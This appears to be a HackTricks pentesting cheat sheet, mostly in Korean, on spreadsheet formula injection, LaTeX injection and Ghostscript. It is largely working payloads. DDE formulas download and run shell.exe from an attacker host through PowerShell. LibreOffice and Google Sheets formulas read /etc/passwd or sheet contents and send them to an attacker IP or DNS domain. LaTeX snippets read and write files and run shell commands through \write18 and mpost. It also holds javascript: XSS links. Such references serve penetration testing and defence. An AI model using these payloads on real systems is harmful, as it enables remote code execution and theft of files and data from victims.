hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

207 lines
12 KiB
Markdown

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Formula Injection
### Info
만약 당신의 **input**이 **CSV 파일**(또는 아마도 **Excel**로 열릴 다른 파일) 안에 **반영**되고 있다면, 사용자가 **파일을 열 때** 또는 사용자가 엑셀 시트 안의 어떤 링크를 **클릭할 때** **실행**될 **Excel 수식**을 넣을 수 있을지도 모릅니다.
{% hint style="danger" %}
요즘 **Excel은 외부에서 로드된 내용**에 대해 **사용자에게 경고**(여러 번)하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대한 사회 공학에 특별한 노력이 필요합니다.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**다음 예시는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치에 요청을 수행하는 데 매우 유용합니다. 그러나 사용자가 링크를 클릭하고 경고 메시지를 수락해야 합니다.**
다음 예시는 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)에서 가져온 것입니다.
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되는 상황을 상상해 보십시오. 공격자의 주요 의도는 교사가 학생 세부 정보를 관리하는 데 사용하는 시스템을 손상시키는 것입니다. 이 방법은 공격자가 학생 세부 정보를 입력하는 필드에 악성 공식을 주입하는 방식으로 애플리케이션에 악성 페이로드를 주입하는 것입니다. 공격은 다음과 같이 전개됩니다:
1. **악성 페이로드 주입:**
* 공격자는 학생 세부 정보 양식을 제출하지만 스프레드시트에서 일반적으로 사용되는 공식을 포함합니다 (예: `=HYPERLINK("<malicious_link>","Click here")`).
* 이 공식은 하이퍼링크를 생성하도록 설계되었지만, 공격자가 제어하는 악성 서버를 가리킵니다.
2. **손상된 데이터 내보내기:**
* 교사는 손상이 발생한 것을 알지 못하고 애플리케이션의 기능을 사용하여 데이터를 CSV 파일로 내보냅니다.
* CSV 파일을 열면 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.
3. **공격 유발:**
* 교사는 하이퍼링크를 클릭하여 학생 세부 정보의 합법적인 부분이라고 믿습니다.
* 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다.
4. **데이터 기록:**
* 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
* 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생들과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다.
### RCE
**자세한 내용은** [**원본 게시물**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 확인하십시오.**
특정 구성이나 이전 버전의 Excel에서는 임의의 명령을 실행하기 위해 동적 데이터 교환(DDE)이라는 기능을 악용할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다:
* 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 **동적 데이터 교환 서버 시작**을 활성화합니다.
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하기 위한 페이로드는 다음과 같습니다:
```markdown
=cmd|' /C calc'!xxx
```
추가 명령도 실행할 수 있으며, 예를 들어 PowerShell을 사용하여 파일을 다운로드하고 실행할 수 있습니다:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용할 수 있습니다. 다음은 몇 가지 방법입니다:
* 로컬 `/etc/passwd` 파일의 첫 번째 줄 읽기: `='file:///etc/passwd'#$passwd.A1`
* 읽은 데이터를 공격자가 제어하는 서버로 유출하기: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 여러 줄 유출하기: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS 유출 (읽은 데이터를 공격자가 제어하는 DNS 서버로 DNS 쿼리로 전송하기): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
* **CONCATENATE**: 문자열을 함께 추가합니다 - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: 구조화된 데이터 유형에서 데이터를 가져옵니다 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSS 또는 ATOM 피드를 가져옵니다 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터를 가져옵니다 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위를 가져옵니다 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: 셀에 이미지를 삽입합니다 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
일반적으로 인터넷에서 **LaTeX 코드를 PDF로 변환하는** 서버는 **`pdflatex`**를 사용합니다.\
이 프로그램은 명령 실행을 (허용)하지 않기 위해 3가지 주요 속성을 사용합니다:
* **`--no-shell-escape`**: `texmf.cnf` 파일에서 활성화되어 있더라도 `\write18{command}` 구문을 **비활성화**합니다.
* **`--shell-restricted`**: `--shell-escape`와 동일하지만 **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다).
* **`--shell-escape`**: `\write18{command}` 구문을 **활성화**합니다. 명령은 어떤 셸 명령도 될 수 있습니다. 이 구문은 보안상의 이유로 일반적으로 허용되지 않습니다.
그러나 명령을 실행하는 다른 방법이 있으므로 RCE를 피하기 위해 `--shell-restricted`를 사용하는 것이 매우 중요합니다.
### Read file <a href="#read-file" id="read-file"></a>
주입을 \[ 또는 $와 같은 래퍼로 조정해야 할 수도 있습니다.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 단일 행 파일 읽기
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 여러 줄 파일 읽기
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### 파일 쓰기 <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Command execution <a href="#command-execution" id="command-execution"></a>
명령의 입력은 stdin으로 리디렉션되며, 이를 얻기 위해 임시 파일을 사용합니다.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
LaTex 오류가 발생하면, 잘못된 문자가 없는 결과를 얻기 위해 base64를 사용하는 것을 고려하세요.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### 교차 사이트 스크립팅 <a href="#cross-site-scripting" id="cross-site-scripting"></a>
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}